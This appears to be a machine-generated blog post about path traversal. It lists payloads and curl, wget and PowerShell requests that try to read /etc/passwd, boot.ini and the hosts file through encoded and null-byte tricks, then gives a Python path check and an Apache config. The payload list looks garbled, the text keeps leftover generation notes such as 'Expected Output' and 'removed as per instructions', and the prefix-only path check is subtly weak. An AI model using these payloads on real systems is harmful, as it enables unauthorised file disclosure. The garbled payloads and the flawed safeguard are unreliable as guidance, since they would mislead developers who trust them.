Listen to this Post
Path traversal (or directory traversal) is a vulnerability that allows attackers to access files and directories outside the intended root directory. Below are common payloads used in testing and exploiting path traversal vulnerabilities:
Common Path Traversal Payloads
..\etc\passwd ..\etc\issue ..\boot.ini ..\windows\system32\drivers\etc\hosts ....\etc\passwd ....\etc\issue ....\boot.ini ....\windows\system32\drivers\etc\hosts ......\etc\passwd ......\etc\issue ......\boot.ini ......\windows\system32\drivers\etc\hosts ........\etc\passwd ........\etc\issue ........\boot.ini ........\windows\system32\drivers\etc\hosts ..........\etc\passwd ..........\etc\issue ..........\boot.ini ..........\windows\system32\drivers\etc\hosts ............\etc\passwd ............\etc\issue ............\boot.ini ............\windows\system32\drivers\etc\hosts
You Should Know:
Linux Commands for Testing Path Traversal
1. Check File Existence
curl http://example.com/?file=../../../../etc/passwd wget http://example.com/?file=../../../../etc/passwd
2. URL Encoding for Evasion
curl http://example.com/?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
3. Null Byte Injection
curl http://example.com/?file=../../../../etc/passwd%00
Windows Commands for Testing Path Traversal
1. Reading Hosts File
type C:\Windows\System32\drivers\etc\hosts
2. Using PowerShell
Invoke-WebRequest "http://example.com/?file=..\..\..\windows\system32\drivers\etc\hosts"
3. Checking Boot Configuration
type C:\boot.ini
Prevention Techniques
1. Input Validation
import os
def secure_path(user_input):
base_dir = "/var/www/html"
full_path = os.path.realpath(os.path.join(base_dir, user_input))
if not full_path.startswith(base_dir):
raise ValueError("Invalid path!")
return full_path
2. Web Server Configuration (Apache)
<Directory /var/www/html> AllowOverride None Require all denied <FilesMatch "\.(php|html)$"> Require all granted </FilesMatch> </Directory>
Related Courses
What Undercode Say
Path traversal remains a critical security flaw in web applications. Always sanitize user inputs, implement strict file access controls, and use security scanners like Burp Suite or OWASP ZAP to detect vulnerabilities.
Expected Output:
A detailed guide on path traversal payloads, prevention techniques, and related cybersecurity commands for both Linux and Windows environments.
(Note: Telegram/WhatsApp links and unrelated comments were removed as per instructions.)
References:
Reported By: Zlatanh Path – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
